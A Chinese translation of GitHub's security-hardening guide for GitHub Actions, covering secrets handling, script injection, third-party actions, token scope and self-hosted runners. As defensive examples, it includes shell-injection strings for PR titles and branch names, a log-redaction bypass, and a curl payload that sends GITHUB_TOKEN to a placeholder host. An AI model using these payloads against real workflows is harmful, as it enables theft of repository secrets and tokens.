跳至主要内容

GitHub Actions 的安全强化

使用 GitHub Actions 功能的良好安全实践。

概述

本指南介绍如何为某些GitHub Actions功能配置安全加固。如果您不熟悉GitHub Actions的概念,请参阅“了解GitHub Actions”。

使用密钥

敏感值绝不应以纯文本形式存储在工作流文件中,而应作为密钥存储。密钥可以在组织、仓库或环境级别配置,允许您将敏感信息存储在GitHub中。

密钥使用Libsodium 密封盒,以便在到达GitHub之前对其进行加密。当使用UI或通过REST API提交密钥时,就会发生这种情况。这种客户端加密有助于最大限度地降低与GitHub基础设施中意外日志记录(例如异常日志和请求日志等)相关的风险。密钥上传后,GitHub就能对其进行解密,以便将其注入工作流运行时。

为了帮助防止意外泄露,GitHub使用一种机制来尝试删除运行日志中出现的任何密钥。此删除操作会查找在作业中使用的任何已配置密钥的精确匹配项,以及值的常用编码,例如Base64。但是,由于有多种方法可以转换密钥值,因此无法保证此删除操作。此外,运行器只能删除当前作业中使用的密钥。因此,您应该遵循某些主动步骤和良好实践,以帮助确保密钥被删除,并限制与密钥相关的其他风险。

  • 切勿使用结构化数据作为密钥
    • 结构化数据可能会导致日志中的密钥删除失败,因为删除很大程度上依赖于查找特定密钥值的精确匹配。例如,不要使用JSON、XML或YAML(或类似)的blob来封装密钥值,因为这会显著降低密钥被正确删除的概率。相反,为每个敏感值创建单独的密钥。
  • 注册工作流中使用的所有密钥
    • 如果使用密钥在工作流中生成另一个敏感值,则应正式将其注册为密钥,以便如果它出现在日志中,它将被删除。例如,如果使用私钥生成签名的JWT来访问Web API,请确保将该JWT注册为密钥,否则如果它进入日志输出,它将不会被删除。
    • 注册密钥也适用于任何类型的转换/编码。如果您的密钥以某种方式转换(例如Base64或URL编码),请确保也将新值注册为密钥。
  • 审计密钥的处理方式
    • 审计密钥的使用方式,以帮助确保其按预期处理。您可以通过查看执行工作流的存储库的源代码,并检查工作流中使用的任何Action来做到这一点。例如,检查它们是否未发送到意外的主机,或明确地打印到日志输出。
    • 测试有效/无效输入后查看工作流的运行日志,并检查密钥是否被正确删除或未显示。您调用的命令或工具如何将错误发送到STDOUTSTDERR并不总是显而易见的,并且密钥随后可能会出现在错误日志中。因此,在测试有效和无效输入后手动检查工作流日志是一个好习惯。有关如何清理可能意外包含敏感数据的 工作流日志的信息,请参阅“使用工作流运行日志”。
  • 使用范围最小的凭据
    • 确保工作流中使用的凭据具有所需的最低权限,并注意任何具有写入您存储库访问权限的用户都可以读取您存储库中配置的所有密钥。
    • Action可以通过访问github.token上下文来使用GITHUB_TOKEN。有关更多信息,请参阅“访问有关工作流运行的上下文信息”。因此,您应该确保为GITHUB_TOKEN授予最低所需的权限。良好的安全实践是将GITHUB_TOKEN的默认权限设置为仅读取存储库内容的权限。然后可以根据需要为工作流文件中的各个作业增加权限。有关更多信息,请参阅“自动令牌身份验证”。
  • 审计和轮换已注册的密钥
    • 定期检查已注册的密钥以确认它们仍然需要。删除不再需要的密钥。
    • 定期轮换密钥以减少受损密钥有效的时长。
  • 考虑要求审查才能访问密钥
    • 您可以使用必需的审阅者来保护环境密钥。工作流作业只有在审阅者批准后才能访问环境密钥。有关在环境中存储密钥或要求对环境进行审查的更多信息,请参阅“在GitHub Actions中使用密钥”和“管理部署环境”。

警告

任何具有写入您存储库访问权限的用户都可以读取您存储库中配置的所有密钥。因此,您应该确保工作流中使用的凭据具有所需的最低权限。

使用CODEOWNERS监控更改

您可以使用CODEOWNERS功能来控制对工作流文件的更改方式。例如,如果所有工作流文件都存储在.github/workflows中,您可以将此目录添加到代码所有者列表中,以便对这些文件的任何建议更改都需要指定审阅者的批准。

有关更多信息,请参阅“关于代码所有者”。

了解脚本注入的风险

在创建工作流、自定义Action组合Action时,您应始终考虑您的代码是否可能执行来自攻击者的不受信任的输入。当攻击者向上下文添加恶意命令和脚本时,就会发生这种情况。当您的工作流运行时,这些字符串可能会被解释为代码,然后在运行器上执行。

攻击者可以将他们自己的恶意内容添加到github上下文中,这应被视为潜在的不可信输入。这些上下文通常以bodydefault_branchemailhead_reflabelmessagenamepage_namereftitle结尾。例如:github.event.issue.titlegithub.event.pull_request.body

您应该确保这些值不会直接流入工作流、Action、API调用或任何其他可能将其解释为可执行代码的地方。通过采用与任何其他特权应用程序代码相同的防御性编程姿势,您可以帮助加强GitHub Actions的使用安全性。有关攻击者可能采取的一些步骤的信息,请参阅“GitHub Actions的安全加固”。

此外,还有其他不太明显的潜在不受信任的输入来源,例如分支名称和电子邮件地址,它们在允许的内容方面可能非常灵活。例如,zzz";echo${IFS}"hello";#将是一个有效的分支名称,并且可能是目标存储库的可能的攻击媒介。

以下部分介绍如何帮助降低脚本注入的风险。

脚本注入攻击示例

脚本注入攻击可以直接在工作流的内联脚本中发生。在以下示例中,一个Action使用表达式来测试拉取请求标题的有效性,但也增加了脚本注入的风险。

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

此示例容易受到脚本注入的攻击,因为run命令在运行器上的临时shell脚本中执行。在运行shell脚本之前,${{ }}内的表达式将被计算,然后用结果值替换,这可能使其容易受到shell命令注入的攻击。

为了将命令注入此工作流,攻击者可以创建一个标题为a"; ls $GITHUB_WORKSPACE"的拉取请求。

Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".

在此示例中,"字符用于中断title="${{ github.event.pull_request.title }}"语句,允许在运行器上执行ls命令。您可以在日志中看到ls命令的输出。

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

减轻脚本注入攻击的良好实践

有多种不同的方法可以帮助您降低脚本注入的风险。

推荐的方法是创建一个JavaScript Action,将上下文值作为参数处理。这种方法不会受到注入攻击的影响,因为上下文值不用于生成shell脚本,而是作为参数传递给Action。

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

使用中间环境变量

对于内联脚本,处理不受信任输入的首选方法是将表达式的值设置为中间环境变量。

以下示例使用Bash将github.event.pull_request.title值作为环境变量处理。

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

在此示例中,尝试的脚本注入不成功,这反映在日志中的以下几行中。

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

使用这种方法,${{ github.event.issue.title }}表达式的值存储在内存中并用作变量,并且不与脚本生成过程交互。此外,请考虑使用双引号shell变量来避免单词分割,但这只是编写shell脚本的众多建议之一之一,并且并非特定于GitHub Actions。

使用工作流模板进行代码扫描

注意

高级安全的工作流模板已在存储库的**Actions**选项卡中的“安全”类别中合并。代码扫描允许您在安全漏洞到达生产环境之前找到它们。GitHub提供用于代码扫描的工作流模板。您可以使用这些建议的工作流来构建您的代码扫描工作流,而无需从头开始。GitHub的工作流(CodeQL 分析工作流)由CodeQL提供支持。也有可用的第三方工作流模板。

更多信息,请参阅“代码扫描简介”和“配置代码扫描的高级设置”。

限制令牌权限

为帮助降低令牌泄露的风险,请考虑限制分配的权限。更多信息,请参阅“自动令牌身份验证”。

使用 OpenID Connect 访问云资源

如果您的 GitHub Actions 工作流程需要访问支持 OpenID Connect (OIDC) 的云提供商的资源,您可以配置您的工作流程以直接向云提供商进行身份验证。这将使您无需将这些凭据存储为长期有效的密钥,并提供其他安全优势。更多信息,请参阅“关于使用 OpenID Connect 加强安全性”。

注意

AWS 不支持 OIDC 的自定义声明。

使用第三方 Actions

工作流程中的各个作业可以交互(并危及)其他作业。例如,一个作业查询后续作业使用的环境变量,将文件写入后续作业处理的共享目录,或者甚至更直接地与 Docker 套接字交互并检查其他正在运行的容器并在其中执行命令。

这意味着在工作流程中单个 Action 受损可能非常严重,因为该受损 Action 将可以访问在您的存储库中配置的所有密钥,并且可能能够使用 GITHUB_TOKEN 向存储库写入数据。因此,从 GitHub 上的第三方存储库获取 Action 的风险非常大。有关攻击者可能采取的一些步骤的信息,请参阅“GitHub Actions 的安全加固”。

您可以遵循以下良好实践来帮助降低此风险

  • 将 Actions 固定到完整的提交 SHA 值

    将 Action 固定到完整的提交 SHA 值目前是将 Action 用作不可变版本的唯一方法。固定到特定的 SHA 值有助于降低恶意行为者向 Action 的存储库添加后门的风险,因为他们需要为有效的 Git 对象有效负载生成 SHA-1 冲突。选择 SHA 值时,应验证它来自 Action 的存储库,而不是存储库分支。

  • 审核 Action 的源代码

    确保 Action 正如预期的那样处理您的存储库和密钥的内容。例如,检查密钥是否未发送到意外的主机,或者是否未意外记录。

  • 仅当您信任创建者时才将 Actions 固定到标签

    尽管固定到提交 SHA 值是最安全的选项,但指定标签更方便且被广泛使用。如果您想指定标签,请确保您信任 Action 的创建者。GitHub 市场上的“已验证创建者”徽章是一个有用的信号,因为它表示 Action 是由 GitHub 已验证其身份的团队编写的。请注意,即使您信任作者,此方法也存在风险,因为如果恶意行为者获得对存储 Action 的存储库的访问权限,则可以移动或删除标签。

重用第三方工作流程

上面关于使用第三方 Actions 的相同原则也适用于使用第三方工作流程。您可以通过遵循上面概述的相同良好实践来帮助降低与重用工作流程相关的风险。更多信息,请参阅“重用工作流程”。

使用 Dependabot 版本更新来保持 Actions 最新

您可以使用 Dependabot 来确保对存储库中使用的 Actions 和可重用工作流程的引用保持最新。Actions 经常会更新错误修复和新功能,以使自动化流程更快、更安全、更可靠。Dependabot 会自动为您完成这项工作,从而无需您费力维护依赖项。更多信息,请参阅“使用 Dependabot 保持 Actions 最新”和“关于 Dependabot 安全更新”。

防止 GitHub Actions 创建或批准拉取请求

您可以选择允许或阻止 GitHub Actions 工作流程创建或批准拉取请求。如果拉取请求在没有适当监督的情况下被合并,允许工作流程或任何其他自动化创建或批准拉取请求可能会带来安全风险。

有关如何配置此设置的更多信息,请参阅“禁用或限制组织的 GitHub Actions”和“管理存储库的 GitHub Actions 设置”。

使用 OpenSSF Scorecards 来保护工作流程

Scorecards 是一款自动化的安全工具,用于标记有风险的供应链实践。您可以使用 Scorecards Action工作流程模板 来遵循最佳安全实践。配置后,Scorecards Action 会在存储库更改时自动运行,并使用内置的代码扫描体验向开发人员发出有关有风险的供应链实践的警报。Scorecards 项目运行许多检查,包括脚本注入攻击、令牌权限和固定的 Actions。

受损运行器的潜在影响

这些部分考虑了攻击者如果能够在 GitHub Actions 运行器上运行恶意命令可以采取的一些步骤。

注意

GitHub 托管的运行器不会扫描用户在其作业期间下载的恶意代码,例如受损的第三方库。

访问密钥

使用 `pull_request` 事件从分支存储库触发的 Workflows 具有只读权限,并且无法访问密钥。但是,对于各种事件触发器(例如来自存储库内分支的 `issue_comment`、`issues`、`push` 和 `pull_request`),这些权限有所不同,攻击者可以在其中尝试窃取存储库密钥或使用作业的 GITHUB_TOKEN 的写入权限。

  • 如果密钥设置为环境变量,则可以使用 `printenv` 通过环境直接访问它。

  • 如果密钥直接用于表达式中,则生成的 shell 脚本将存储在磁盘上并且可以访问。

  • 对于自定义 Action,风险可能会因程序使用从参数获得的密钥的方式而异。

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

尽管 GitHub Actions 会从工作流程(或包含的 Action)中未引用的内存中清除密钥,但GITHUB_TOKEN 和任何引用的密钥都可以被有决心的攻击者获取。

从运行器中导出数据

攻击者可以从运行器中导出任何被盗的密钥或其他数据。为帮助防止意外泄露密钥,GitHub Actions 会自动删除打印到日志中的密钥,但这并非真正的安全边界,因为密钥可以故意发送到日志中。例如,可以使用 `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};` 导出模糊的密钥。此外,由于攻击者可以运行任意命令,因此他们可以使用 HTTP 请求将密钥或其他存储库数据发送到外部服务器。

窃取作业的 GITHUB_TOKEN

攻击者有可能窃取作业的 GITHUB_TOKEN。GitHub Actions 运行器会自动接收一个生成的 GITHUB_TOKEN,其权限仅限于包含工作流程的存储库,并且该令牌在作业完成后过期。过期后,该令牌对攻击者不再有用。为了解决此限制,他们可以通过使用令牌调用攻击者控制的服务器来实现攻击的自动化并在几分之一秒内完成攻击,例如:a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#

修改存储库的内容

攻击者服务器可以使用 GitHub API 修改存储库内容,包括发行版,如果GITHUB_TOKEN 的分配权限 未受限制

考虑跨存储库访问

GitHub Actions 故意一次仅针对单个存储库进行范围限定。GITHUB_TOKEN 授予与具有写入权限的用户相同的访问级别,因为任何具有写入权限的用户都可以通过创建或修改工作流程文件来访问此令牌,如有必要,可以提升 GITHUB_TOKEN 的权限。用户对每个存储库具有特定权限,因此允许一个存储库的 GITHUB_TOKEN 授予对另一个存储库的访问权限,如果不仔细实施,将会影响 GitHub 权限模型。同样,在向工作流程添加 GitHub 身份验证令牌时必须谨慎,因为这也会通过无意中向协作者授予广泛访问权限来影响 GitHub 权限模型。

如果您的组织归企业帐户所有,则可以通过将 GitHub Actions 存储在内部存储库中来共享和重用它们。有关更多信息,请参阅“与您的企业共享操作和工作流”。

您可以通过在工作流中将 GitHub 身份验证令牌或 SSH 密钥作为机密来执行其他特权的跨存储库交互。由于许多身份验证令牌类型不允许对特定资源进行细粒度访问,因此使用错误的令牌类型存在重大风险,因为它可能授予比预期更广泛的访问权限。

此列表按优先级递减顺序描述了在工作流中访问存储库数据的推荐方法

  1. GITHUB_TOKEN
    • 此令牌有意限定在调用工作流的单个存储库中,并且可以具有与存储库的写入访问用户相同的访问级别。该令牌在每个作业开始之前创建,并在作业完成时过期。有关更多信息,请参阅“自动令牌身份验证”。
    • 应尽可能使用GITHUB_TOKEN
  2. 存储库部署密钥
    • 部署密钥是唯一授予对单个存储库的读写访问权限的凭据类型之一,可用于在工作流中与另一个存储库进行交互。有关更多信息,请参阅“管理部署密钥”。
    • 请注意,部署密钥只能使用 Git 克隆和推送存储库,不能用于与 REST 或 GraphQL API 交互,因此它们可能不适合您的要求。
  3. GitHub 应用令牌
    • GitHub 应用可以安装在选定的存储库上,甚至可以对其中的资源具有细粒度的权限。您可以创建属于您组织内部的 GitHub 应用,将其安装在工作流中需要访问的存储库上,并在工作流中作为安装进行身份验证以访问这些存储库。有关更多信息,请参阅“在 GitHub Actions 工作流中使用 GitHub 应用进行身份验证的 API 请求”。
  4. 个人访问令牌
    • 您永远不应该使用个人访问令牌(经典版)。这些令牌允许访问您有权访问的所有组织中的所有存储库,以及您个人帐户中的所有个人存储库。这间接授予工作流所在存储库的所有写入访问用户的广泛访问权限。
    • 如果您确实使用了个人访问令牌,则永远不应该使用您自己帐户的个人访问令牌。如果您以后离开某个组织,则使用此令牌的工作流将立即中断,并且调试此问题可能具有挑战性。相反,您应该为属于您的组织的新帐户使用细粒度的个人访问令牌,并且该令牌仅被授予工作流所需的特定存储库的访问权限。请注意,这种方法不可扩展,应避免使用,而应采用替代方法,例如部署密钥。
  5. 个人帐户上的 SSH 密钥
    • 工作流永远不应该使用个人帐户上的 SSH 密钥。与个人访问令牌(经典版)类似,它们会授予您个人存储库以及您通过组织成员资格可以访问的所有存储库的读/写权限。这间接授予工作流所在存储库的所有写入访问用户的广泛访问权限。如果您打算使用 SSH 密钥是因为您只需要执行存储库克隆或推送,并且不需要与公共 API 交互,则应改用单个部署密钥。

针对 GitHub 托管运行器的加固

GitHub 托管运行器采取措施来帮助您降低安全风险。

审查 GitHub 托管运行器的供应链

对于由 GitHub 维护的镜像创建的 GitHub 托管运行器,您可以查看软件物料清单 (SBOM) 以查看在运行器上预安装了哪些软件。您可以向用户提供 SBOM,他们可以使用漏洞扫描器运行 SBOM 以验证产品中是否存在任何漏洞。如果您正在构建工件,则可以在您的物料清单中包含此 SBOM,以全面列出创建软件的所有内容。

SBOM 可用于 GitHub 维护的 Ubuntu、Windows 和 macOS 运行器镜像。您可以在 https://github.com/actions/runner-images/releases 的发行版资源中找到您的构建的 SBOM。格式为sbom.IMAGE-NAME.json.zip的文件名的 SBOM 可以在每个发行的附件中找到。

对于第三方镜像,例如 ARM 驱动的运行器的镜像,您可以在 actions/partner-runner-images 存储库 中找到包含在镜像中的软件的详细信息。

拒绝访问主机

GitHub 托管运行器配备了etc/hosts文件,该文件阻止对各种加密货币挖掘池和恶意网站的网络访问。例如 MiningMadness.com 和 cpu-pool.com 等主机将被重定向到本地主机,因此它们不会构成重大的安全风险。有关更多信息,请参阅“使用 GitHub 托管运行器”。

针对自托管运行器的加固

GitHub 托管的运行器在短暂且干净的隔离虚拟机中执行代码,这意味着无法持久地破坏此环境,也无法获得超出在引导过程中放置在此环境中的信息的更多信息。

自托管的GitHub 运行器无法保证在短暂的干净虚拟机中运行,并且可能被工作流中的不受信任的代码持久地破坏。

因此,自托管运行器几乎永远不应该用于 GitHub 上的公共存储库,因为任何用户都可以对存储库打开拉取请求并破坏环境。同样,在私有或内部存储库上使用自托管运行器时应谨慎,因为任何可以分叉存储库并打开拉取请求的用户(通常是那些对存储库具有读取访问权限的用户)都可以破坏自托管运行器环境,包括访问机密和GITHUB_TOKEN,这取决于其设置,可以授予对存储库的写入访问权限。尽管工作流可以通过使用环境和必需的审查来控制对环境机密的访问,但这些工作流并非在隔离环境中运行,并且在自托管运行器上运行时仍然容易受到相同的风险。

组织所有者可以选择允许哪些存储库创建存储库级别的自托管运行器。

有关更多信息,请参阅“禁用或限制组织的 GitHub Actions”。

在组织或企业级别定义自托管运行器时,GitHub 可以将来自多个存储库的工作流调度到同一运行器上。因此,对这些环境的安全入侵可能会产生广泛的影响。为了帮助减小入侵范围,您可以通过将自托管运行器组织到单独的组中来创建边界。您可以限制哪些组织和存储库可以访问运行器组。有关更多信息,请参阅“使用组管理对自托管运行器的访问”。

您还应考虑自托管运行器机器的环境

  • 配置为自托管运行器的机器上驻留哪些敏感信息?例如,私有 SSH 密钥、API 访问令牌等。
  • 该机器是否可以访问敏感服务?例如,Azure 或 AWS 元数据服务。此环境中敏感信息的量应保持在最低限度,并且您应始终注意,任何能够调用工作流的用户都可以访问此环境。

一些客户可能会尝试通过实施在每次作业执行后自动销毁自托管运行器的系统来部分缓解这些风险。但是,这种方法可能不如预期的那样有效,因为无法保证自托管运行器只运行一项作业。某些作业会使用机密作为命令行参数,这些参数可以被在同一运行器上运行的另一项作业看到,例如ps x -w。这可能导致机密泄漏。

使用即时运行器

为了提高运行器注册安全性,您可以使用 REST API 创建短暂的即时 (JIT) 运行器。这些自托管运行器最多执行一项作业,然后就会从存储库、组织或企业中自动删除。有关配置 JIT 运行器的更多信息,请参阅“自托管运行器的 REST API 端点”。

注意

重复使用硬件来托管 JIT 运行器可能会导致暴露环境中的信息。使用自动化来确保 JIT 运行器使用干净的环境。有关更多信息,请参阅“使用自托管运行器进行自动缩放”。

获得 REST API 响应中的配置文件后,您可以在启动时将其传递给运行器。

./run.sh --jitconfig ${encoded_jit_config}

规划自托管运行器的管理策略

自托管运行器可以添加到 GitHub 层次结构的各个级别:企业级、组织级或仓库级。此位置决定谁可以管理运行器。

集中式管理

  • 如果您计划由一个中央团队拥有自托管运行器,建议您在最高的共同组织或企业级别添加运行器。这使您的团队可以从一个位置查看和管理您的运行器。
  • 如果您只有一个组织,那么在组织级别添加运行器实际上是相同的方法,但是如果您将来添加另一个组织,可能会遇到困难。

分散式管理

  • 如果每个团队都将管理自己的自托管运行器,建议在团队所有权的最高级别添加运行器。例如,如果每个团队拥有自己的组织,那么在组织级别添加运行器将是最简单的。
  • 您也可以在仓库级别添加运行器,但这会增加管理开销,还会增加所需的运行器数量,因为您无法在仓库之间共享运行器。

向您的云提供商进行身份验证

如果您正在使用 GitHub Actions 部署到云提供商,或打算使用 HashiCorp Vault 进行秘密管理,那么建议您考虑使用 OpenID Connect 为您的工作流运行创建短暂的、范围明确的访问令牌。更多信息,请参阅“关于使用 OpenID Connect 加强安全性的信息”。

审核 GitHub Actions 事件

您可以使用安全日志监控您的用户帐户的活动,并使用审计日志监控您组织中的活动。安全和审计日志会记录操作类型、运行时间以及执行操作的个人帐户。

例如,您可以使用审计日志跟踪org.update_actions_secret事件,该事件会跟踪对组织机密的更改。

Screenshot showing a search for "action:org.update_actions_secret" in the audit log for an organization. Two results are shown.

有关您可以在每个帐户类型的审计日志中找到的全部事件列表,请参阅以下文章: